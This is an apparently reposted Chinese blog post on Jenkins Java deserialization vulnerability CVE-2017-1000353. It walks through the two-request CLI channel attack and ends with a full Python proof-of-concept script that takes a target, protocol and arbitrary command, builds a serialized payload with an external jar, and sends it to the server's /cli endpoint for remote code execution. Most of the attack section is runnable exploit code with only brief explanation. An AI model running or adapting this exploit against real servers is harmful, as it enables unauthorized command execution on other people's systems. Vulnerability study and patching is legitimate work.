Jenkins反序列化漏洞cve-2017-1000353


一、漏洞原理:

本地沒有環境:參考:https://blogs.securiteam.com/index.php/archives/3171    進行學習理解記錄。

首先這是一個java反序列化漏洞,一定是command在序列化信息中,反序列化時候直接執行了該命令。

攻擊過程學習:

下文的session是一個uuid,類型4

1 #可以如下生成
2 session = uuid.uuid4()

1、首先要發送一個請求,是一個下載請求。這個請求是要啟動一個雙向數據傳輸頻道。頻道的標識就是session。而side字段則是用來標識傳輸方向

對應在代碼段:

 1 def Download(url,session):
 2     headers = {'Side':'download'}
 3     headers['Content-type'] = 'application/x-www-form-urlencoded'
 4     headers['Session'] = session
 5     headers['Transfer-Encoding'] = 'chunked'
 6     try:
 7         response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)
 8     except Exception,ex:
 9         print ex
10         exit(0)
11     print response.content

然后是第二個請求:雙向信道發送組件,第一個請求被阻塞,一直到第二個請求被發送。此時session與之前保持一致,side改成upload。

數據部分格式規范如下:

(1)前導碼

前導碼包含一個base64編碼的序列化對象。“ 能力 ” 類型的序列化對象只是告訴服務器
客戶端具有哪些能力(例如HTTP 分塊編碼)。

1 Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='

(2)Proto部分 (可能是所說的額外字節)

1 Proto = 'x00x00x00x00'

(3)payload部分

在前導碼和一些額外的字節之后,Jenkins服務器期望類型為Command的序列化對象。由於Jenkins不驗證序列化對象,所以可以發送任何序列化對象。

1 def Payload_Init(command):
2     global File_Serialization
3     command = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)
4     print command
5     return_number = os.system(command)
6     if return_number != 0:
7         print "Call Jar Packet To Init The Payload Error"
8         exit(0)
9     File_Serialization = open("./payload.ser","rb").read()

所有第二個數據包發送的數據整合:

1 def Create_Payload_Chunked():
2     yield Premle
3     yield Proto
4     yield File_Serialization

發送第二個數據包:

 1 def Upload_Chunked(url,session,data):
 2     headers = {'Side':'upload'}
 3     headers['Session'] = session
 4     headers['Content-type'] = 'application/octet-stream'
 5     headers['Accept-Encoding'] = None
 6     headers['Transfer-Encoding'] = 'chunked'
 7     headers['Cache-Control'] = 'no-cache'
 8     try:    
 9         response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)
10     except Exception,ex:
11         print ex
12         exit(0)

整個攻擊流程

1 def Attack():
2     print "start"
3     session = str(uuid.uuid4())
4     thread_object = threading.Thread(target=Download,args=(Target,session))
5     thread_object.start()
6     time.sleep(1)
7     print "pwn"
8     #Upload(URL, session, create_payload())
9     Upload_Chunked(Target,session,"asdf")

服務器端對應處理

反序列化command對象

然后這個方法在這里被調用

返回了這個序列化好的對象cmd

read方法調用,把返回的對象賦值給了cmd,也就是被讀進一個ReaderThread類型的線程。

該線程由類“ CliEndpointResponse ”中調用的“ upload ”方法觸發

在該方法中,HTTP主體數據被讀取,並且調用“notify”方法來通知線程。

整體POC

  1 # -*- coding: utf-8 -*-
  2 """
  3 援引自:https://7f52.com/?p=450
  4 重構人:陳然
  5 公司:360企業安全集團
  6 """
  7 
  8 #需要引入的庫文件
  9 import os
 10 import uuid
 11 import gzip
 12 import zlib
 13 import time
 14 import urllib
 15 import socket
 16 import urllib3
 17 import requests
 18 import threading
 19 from optparse import OptionParser
 20 
 21 #全局變量定義:
 22 #Proxy = {"http":"http://127.0.0.1:8090","https":"http://127.0.0.1:8090"}#HTTP、HTTPS協議代理設置
 23 Proxy = None#HTTP、HTTPS協議代理設置
 24 Target="http://%s:8080/cli"#攻擊目標
 25 Premle='<===[JENKINS REMOTING CAPACITY]===>rO0ABXNyABpodWRzb24ucmVtb3RpbmcuQ2FwYWJpbGl0eQAAAAAAAAABAgABSgAEbWFza3hwAAAAAAAAAH4='
 26 Proto = 'x00x00x00x00'
 27 File_Serialization = None
 28 socket.setdefaulttimeout(3)
 29 
 30 
 31 #全局函數定義
 32 def Payload_Init(command):
 33     global File_Serialization
 34     command = "java -jar jenkins_payload.jar payload.ser '%s'"%str(command)
 35     print command
 36     return_number = os.system(command)
 37     if return_number != 0:
 38         print "Call Jar Packet To Init The Payload Error"
 39         exit(0)
 40     File_Serialization = open("./payload.ser","rb").read()
 41 
 42 def Download(url,session):
 43     headers = {'Side':'download'}
 44     headers['Content-type'] = 'application/x-www-form-urlencoded'
 45     headers['Session'] = session
 46     headers['Transfer-Encoding'] = 'chunked'
 47     try:
 48         response = requests.post(url,data=Null_Payload(),headers=headers,proxies=Proxy,stream=True)
 49     except Exception,ex:
 50         print ex
 51         exit(0)
 52     print response.content
 53 
 54 '''
 55 def Upload(url,session,data):
 56     headers = {'Side':'upload'}
 57     headers['Session'] = session
 58     headers['Content-type'] = 'application/octet-stream'
 59     headers['Accept-Encoding'] = None
 60     try:
 61         response = requests.post(url,data=data,headers=headers,proxies=Proxy)
 62     except Exception,ex:
 63         print ex
 64         exit(0)
 65 '''
 66         
 67 def Upload_Chunked(url,session,data):
 68     headers = {'Side':'upload'}
 69     headers['Session'] = session
 70     headers['Content-type'] = 'application/octet-stream'
 71     headers['Accept-Encoding'] = None
 72     headers['Transfer-Encoding'] = 'chunked'
 73     headers['Cache-Control'] = 'no-cache'
 74     try:    
 75         response = requests.post(url,headers=headers,data=Create_Payload_Chunked(),proxies=Proxy)
 76     except Exception,ex:
 77         print ex
 78         exit(0)
 79     
 80 def Null_Payload():
 81     yield " "
 82     
 83 """    
 84 def Create_Payload():
 85     payload = Premle + Proto + File_Serialization
 86     return payload
 87 
 88 """
 89 
 90 def Create_Payload_Chunked():
 91     yield Premle
 92     yield Proto
 93     yield File_Serialization
 94 
 95 def Attack():
 96     print "start"
 97     session = str(uuid.uuid4())
 98     thread_object = threading.Thread(target=Download,args=(Target,session))
 99     thread_object.start()
100     time.sleep(1)
101     print "pwn"
102     #Upload(URL, session, create_payload())
103     Upload_Chunked(Target,session,"asdf")
104     
105 #程序入口
106 if __name__ == "__main__":
107     parser = OptionParser()  
108     parser.add_option("-t","--target",dest="target",help="Target IP address!")
109     parser.add_option("-c","--command",dest="command",help="The command to execute!")
110     parser.add_option("-p","--protocol",dest="protocol",help="Protocl is HTTP or HTTPS!")
111     (options, args) = parser.parse_args()
112     optionslist = [options.target,options.command,options.protocol]
113     if None in optionslist or "" in optionslist:
114         print "Please check your input parameters!"        
115     Target = Target%options.target
116     command = options.command
117     protocol = options.protocol
118     if protocol == "HTTP":
119         pass
120     elif protocol == "HTTPS":
121         Target = Target.replace("http","https")
122     else:
123         print "Unknown Protocol!"
124     Payload_Init(command)
125     Attack()

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM